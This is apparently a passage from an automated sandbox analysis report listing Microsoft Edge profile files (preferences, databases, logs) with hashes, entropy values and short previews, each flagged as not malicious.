Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d8cf3d51-6c54-458d-9039-de673f34b6ae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13422
Entropy (8bit):	5.278783266216312
Encrypted:	false
SSDEEP:	192:stHJ99QTryDiuabatSuyppsH52yaNPsz8MFkxp5m8rbV+FLMCYQAmMz0PyYJ:stHPGQSu4psZ2tJsz83bGLMbQpMzG
MD5:	274D704DAEBF71958DF9C58DDEF1361E
SHA1:	4E63A4E78C9B2022B7740A6168C9788603F009E6
SHA-256:	16BBF532E8E0A8C40A21B52A41D9F702EA932ACB47910129E17EB91C73C58647
SHA-512:	288A071A72D6B4DDA78A254FC440D262B1F10DBF5E89D16CB814C346BF7DB9578246138F340E12BDAAADB26BE41728D25A48336F9D992B63FA535B2A33F855BE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377578866952554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\df869c7a-2415-4b30-a113-d97215a12e83.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567940039982939
Encrypted:	false
SSDEEP:	768:u1arezNWP//fJw8F1+UoAYDCx9Tuqh0VfUC9xbog/OVqTW4brwPg9pUtuy:u1arezNWP//fJwu1jabi4w4wtN
MD5:	E262723BC8C25B3065E78C41044343E4
SHA1:	872A416848E4DF7B7E4F382E755EFFDEC353E935
SHA-256:	61BB93E034A6A095396B28D313AAEDB090DA70A9FF353AC9B496E239CDFF5A51
SHA-512:	1F305B2C0F68B1BEB157CCA138D632693427BCDC6765D512730F2162B8AA9C3E0C10F11C2370A0975D5057BB10AEF9AD7BE0A85FFDCD3FB45FD43A8C00925059
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377578865933073","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377578865933073","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f49bff0e-3948-43ff-b921-e8c63aeae004.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.053875208764983265
Encrypted:	false
SSDEEP:	6:GtStutsiYD94StutsiYDlIR9XCChslotGLNl0ml/Vl/XoQXEl:MtihGti5ILpEjVl/PvoQ
MD5:	65BFF4A79B6C12743A4EA2531CD6CD33
SHA1:	5188186FBCD8F152F191A6835859B8028CB2E15F
SHA-256:	7776E88550B177F0420D19208C2A7D2F61F081134642D353A676B1B6EABFB540
SHA-512:	187725B946F46F931D218C10F76F66B2A9CF60A2D6B2BBDA476174F11FB961E7F3EB4E7E0F1F2CBB41EC833BB75457E9C8085709B1CF169BE49BB94D5A03F73D
Malicious:	false
Preview:	..-......................rr.8\|.K3.-.....tY/....i..-......................rr.8\|.K3.-.....tY/....i........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	86552
Entropy (8bit):	0.8705068282886155
Encrypted:	false
SSDEEP:	48:RzxwkllO+HcbX+7n9VAKAFXX+MIK6qT2VAKAFXX++xOqVAKAFXX+T/nUYVAKAFXl:lx9ZBwNsFlsNsMO5NsaNsMP
MD5:	308CEEE71FE1550F7B81E4D6097218FE
SHA1:	BC58465D96D2720520E55267C71468BD3467BFCC
SHA-256:	21AF5E4F48D220368B371DAAE2E3760C2ECC9304AF4AAC4F2869442D5DB1A8B0
SHA-512:	D8F8FBE9817B64570ED7F4115ECCB1A2E17E2ABEAEF47A964D19E90C56BD598146131DCA36C8D22B72ED9FCC59C98308BF615C869BDFE0C93025241CB597916A
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	419
Entropy (8bit):	3.686110271771058
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuuuuoPsedhOLn:llc8BOuuuuuuuuuuuuoU8m
MD5:	01198546C67D556CB2988EA7DD1359D6
SHA1:	676A72F5C9C8311B145CDB7EEAEBD8C7A0D85720
SHA-256:	E344FC8E0720F1A20B8713AC477627E7CBD7766C57D9919FC8833C2EA706FF41
SHA-512:	62684583F1B896A1D3D491E7AF4928A9C2E1E1A20B7945191F3E19785595955484D8AD3E74BD83B416093AC5158130F8E6B3CBD5805E6F68835F157A15C07A65
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................c.)0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.140780810558397
Encrypted:	false
SSDEEP:	6:yR54jkq2PcNwi23oH+TcwtfrK+IFUt85R54lmZZmw+5R54lmzkwOcNwi23oH+Tcq:yPbvLZYeb23FUt85Pz/+5Pp54ZYeb3J
MD5:	8C049849321AE3FA19251D6320709021
SHA1:	0B8A26401F3E75C059F1192984A6C66ABCB6503E
SHA-256:	C9C44EA4CDBEFF53D966C2AC05D1E1A31AB2C019648B56AB3E48389045BA3F9A
SHA-512:	3FDDC2037C36ED1D33DA5EC75946348EA72B013C59D8CC759F34CCB0F4C46EAC227AC1F379BAC53E97BC43AAEE7CD309666017CAA26C92935DE6F168C35DC8B4
Malicious:	false
Preview:	2024/12/01-21:07:47.099 1ef0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/01-21:07:47.100 1ef0 Recovering log #3.2024/12/01-21:07:47.100 1ef0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.140780810558397
Encrypted:	false
SSDEEP:	6:yR54jkq2PcNwi23oH+TcwtfrK+IFUt85R54lmZZmw+5R54lmzkwOcNwi23oH+Tcq:yPbvLZYeb23FUt85Pz/+5Pp54ZYeb3J
MD5:	8C049849321AE3FA19251D6320709021
SHA1:	0B8A26401F3E75C059F1192984A6C66ABCB6503E
SHA-256:	C9C44EA4CDBEFF53D966C2AC05D1E1A31AB2C019648B56AB3E48389045BA3F9A
SHA-512:	3FDDC2037C36ED1D33DA5EC75946348EA72B013C59D8CC759F34CCB0F4C46EAC227AC1F379BAC53E97BC43AAEE7CD309666017CAA26C92935DE6F168C35DC8B4
Malicious:	false
Preview:	2024/12/01-21:07:47.099 1ef0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/01-21:07:47.100 1ef0 Recovering log #3.2024/12/01-21:07:47.100 1ef0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.128612079264109
Encrypted:	false
SSDEEP:	6:yR549XADAq2PcNwi23oH+TcwtfrzAdIFUt85R54vZmw+5R549kwOcNwi23oH+Tc/:yPZkvLZYeb9FUt85PI/+5PQ54ZYeb2J
MD5:	A1D99CFD6BED0B3C4238D7433B800C59
SHA1:	35B83E76CFBA0F03FFCDFBE5DC19B3F99722483A
SHA-256:	A535FFA886DCEFA249F99F6A8978B2BCCA72A1F842C0B01F835EA168D54A2FB2
SHA-512:	31B3C32707914DFD3CC9827C8C9F8E22B8246C2AAB972DB1D52C013544E911CD40B794230F3B523D961616EA50185C4945A2C18837ED82F4CFB85DFEBFDA94AB
Malicious:	false
Preview:	2024/12/01-21:07:47.023 1ef0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/01-21:07:47.031 1ef0 Recovering log #3.2024/12/01-21:07:47.031 1ef0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.128612079264109
Encrypted:	false
SSDEEP:	6:yR549XADAq2PcNwi23oH+TcwtfrzAdIFUt85R54vZmw+5R549kwOcNwi23oH+Tc/:yPZkvLZYeb9FUt85PI/+5PQ54ZYeb2J
MD5:	A1D99CFD6BED0B3C4238D7433B800C59
SHA1:	35B83E76CFBA0F03FFCDFBE5DC19B3F99722483A
SHA-256:	A535FFA886DCEFA249F99F6A8978B2BCCA72A1F842C0B01F835EA168D54A2FB2
SHA-512:	31B3C32707914DFD3CC9827C8C9F8E22B8246C2AAB972DB1D52C013544E911CD40B794230F3B523D961616EA50185C4945A2C18837ED82F4CFB85DFEBFDA94AB
Malicious:	false
Preview:	2024/12/01-21:07:47.023 1ef0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/01-21:07:47.031 1ef0 Recovering log #3.2024/12/01-21:07:47.031 1ef0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103080462472944
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynhPGWv/sxtwL7VLyMV/YoskFoz:z/0+zI7ynZv/4KXVeZoskG
MD5:	E9A249F565D27B21BABF7673A9153229
SHA1:	97AFC59D8190D70E2AF6442FC24CAFA87696D9B5
SHA-256:	8D2A2344939DB6C6160FD88E83330A1DE672AE8170C704DD7F15B15A9CEA5008
SHA-512:	3DD39D6594B2B8CB8231E26175E65199D1D5F1407D1199095F84DD22032CE2390CBC7A6A8D1C710D0E9172D66052D65B2A7984F25456C83E149977DC6A8722E8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF256ff.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103080462472944
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynhPGWv/sxtwL7VLyMV/YoskFoz:z/0+zI7ynZv/4KXVeZoskG
MD5:	E9A249F565D27B21BABF7673A9153229
SHA1:	97AFC59D8190D70E2AF6442FC24CAFA87696D9B5
SHA-256:	8D2A2344939DB6C6160FD88E83330A1DE672AE8170C704DD7F15B15A9CEA5008
SHA-512:	3DD39D6594B2B8CB8231E26175E65199D1D5F1407D1199095F84DD22032CE2390CBC7A6A8D1C710D0E9172D66052D65B2A7984F25456C83E149977DC6A8722E8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2570f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103080462472944
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynhPGWv/sxtwL7VLyMV/YoskFoz:z/0+zI7ynZv/4KXVeZoskG
MD5:	E9A249F565D27B21BABF7673A9153229
SHA1:	97AFC59D8190D70E2AF6442FC24CAFA87696D9B5
SHA-256:	8D2A2344939DB6C6160FD88E83330A1DE672AE8170C704DD7F15B15A9CEA5008
SHA-512:	3DD39D6594B2B8CB8231E26175E65199D1D5F1407D1199095F84DD22032CE2390CBC7A6A8D1C710D0E9172D66052D65B2A7984F25456C83E149977DC6A8722E8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF25903.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103080462472944
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynhPGWv/sxtwL7VLyMV/YoskFoz:z/0+zI7ynZv/4KXVeZoskG
MD5:	E9A249F565D27B21BABF7673A9153229
SHA1:	97AFC59D8190D70E2AF6442FC24CAFA87696D9B5
SHA-256:	8D2A2344939DB6C6160FD88E83330A1DE672AE8170C704DD7F15B15A9CEA5008
SHA-512:	3DD39D6594B2B8CB8231E26175E65199D1D5F1407D1199095F84DD22032CE2390CBC7A6A8D1C710D0E9172D66052D65B2A7984F25456C83E149977DC6A8722E8
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF27f57.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103080462472944
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynhPGWv/sxtwL7VLyMV/YoskFoz:z/0+zI7ynZv/4KXVeZoskG
MD5:	E9A249F565D27B21BABF7673A9153229
SHA1:	97AFC59D8190D70E2AF6442FC24CAFA87696D9B5
SHA-256:	8D2A2344939DB6C6160FD88E83330A1DE672AE8170C704DD7F15B15A9CEA5008
SHA-512:	3DD39D6594B2B8CB8231E26175E65199D1D5F1407D1199095F84DD22032CE2390CBC7A6A8D1C710D0E9172D66052D65B2A7984F25456C83E149977DC6A8722E8
Malicious:	false
